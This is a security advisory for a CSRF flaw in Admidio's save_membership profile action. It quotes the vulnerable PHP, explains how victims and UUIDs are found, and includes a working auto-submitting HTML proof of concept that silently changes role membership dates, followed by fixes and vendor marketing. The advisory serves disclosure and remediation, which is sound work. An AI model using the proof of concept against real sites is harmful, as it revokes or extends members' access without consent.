GHSA-h8gr-qwr6-m9gx
MEDIUMAdmidio is Missing CSRF Protection on Role Membership Date Changes
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.
Details
CSRF Check Is Absent for save_membership
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42
The CSRF guard covers only two of the three mutative modes:
if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:
} elseif ($getMode === 'save_membership') {
$postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
$postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true));
$member = new Membership($gDb);
$member->readDataByUuid($getMemberUuid);
$role = new Role($gDb, (int)$member->getValue('mem_rol_id'));
// check if user has the right to edit this membership
if (!$role->allowedToAssignMembers($gCurrentUser)) {
throw new Exception('SYS_NO_RIGHTS');
}
// ... validates dates ...
$role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
echo 'success';
}
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169
The Form Does Generate a CSRF Token (Not Validated)
File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241
The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.
Who Can Be Exploited as the CSRF Victim
File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121
The allowedToAssignMembers() check grants write access to:
- Any user who is
isAdministratorRoles()(role administrators), or - Any user who is a leader of the target role when the role has
rol_leader_rightsset toROLE_LEADER_MEMBERS_ASSIGNorROLE_LEADER_MEMBERS_ASSIGN_EDIT
Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
UUIDs Are Discoverable from HTML Source
The save URL for the membership date form is embedded in the profile page HTML:
/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
PoC
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form"
method="POST"
action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
<input type="hidden" name="adm_membership_start_date" value="2000-01-01">
<input type="hidden" name="adm_membership_end_date" value="2000-01-02">
</form>
</body>
</html>
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No adm_csrf_token field is required because the server does not validate it for save_membership.
Impact
- Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.
- Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.
- Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.
- No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.
Recommended Fix
Fix 1: Add save_membership to the existing CSRF validation check
// File: modules/profile/profile_function.php, lines 40-42
if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
Fix 2: Use the form-object validation pattern (consistent with other write endpoints)
} elseif ($getMode === 'save_membership') {
// Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)
$membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $membershipForm->validate($_POST);
$postMembershipStart = $formValues['adm_membership_start_date'];
$postMembershipEnd = $formValues['adm_membership_end_date'];
// ... rest of save logic unchanged
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | all versions | 5.0.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update admidio/admidio to 5.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h8gr-qwr6-m9gx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h8gr-qwr6-m9gx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h8gr-qwr6-m9gx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h8gr-qwr6-m9gx in your dependencies?
O3 detects GHSA-h8gr-qwr6-m9gx across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.